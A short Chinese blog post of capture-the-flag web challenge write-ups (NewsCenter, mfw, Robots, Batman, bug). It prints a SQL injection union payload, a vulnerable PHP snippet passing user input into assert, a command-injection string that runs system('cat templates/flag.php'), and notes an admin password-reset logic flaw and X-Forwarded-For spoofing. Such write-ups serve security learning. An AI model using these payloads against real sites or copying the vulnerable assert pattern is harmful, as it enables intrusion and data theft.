标签:OLE mod func 语言 代码执行 ack system 登陆 web
国庆就要莫得了 起床刷几道
NewsCenter
mfw
Training-WWW-Robots
NaNNaNNaNNaN-Batman
bug
search传参那里发现有注入 注入出flag即可 没太大转弯
‘ and 0 union select 1,2,fl4g from secret_table #
发现git泄露 下载下来看源码
index.php中关键源码:
<?php if (isset($_GET[‘page‘])) { $page = $_GET[‘page‘]; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard ‘..‘ is dangerous! assert("strpos(‘$file‘, ‘..‘) === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists(‘$file‘)") or die("That file doesn‘t exist!"); ?>
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
$file =templates/ abc‘) or system("cat templates/flag.php");// ".php"
assert("strpos(‘templates/ abc‘) or system("cat templates/flag.php");// ".php"‘, ‘..‘) === false") or die("Detected hacking attempt!");
strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert
这题莫得意思 看到robots就可以看到flag文件了
下载下来个文件,打开发现是一段javascript脚本
eval(_)
改为console.log(_) 控制台输入调试下
function $() { var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null){ var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it‘","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o) { var a=document.write(s[o%4][0]);s[o%4].splice(0,1) } } } document.write(‘<input id="c"><button οnclick=$()>Ok</button>‘); delete _
这里如果你要正常满足条件输入 然后打印flag
be0f23
e98aa
233ac
和c7be9
be0f233ac7be98aa
你直接打印也行
这题有点多 但是不难
打开是个登录
注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞
将admin账号的密码成功修改为qing
点击后显示ip不匹配 伪造ip头发现xff可以
源码看到注释
<!-- index.php?module=filemanage&do=???-->
这里就需要fuzz了 看到filemanage大概也知道是upload upfile之类的
上传fuzz下
标签:OLE mod func 语言 代码执行 ack system 登陆 web
原文地址:https://www.cnblogs.com/-qing-/p/11629896.html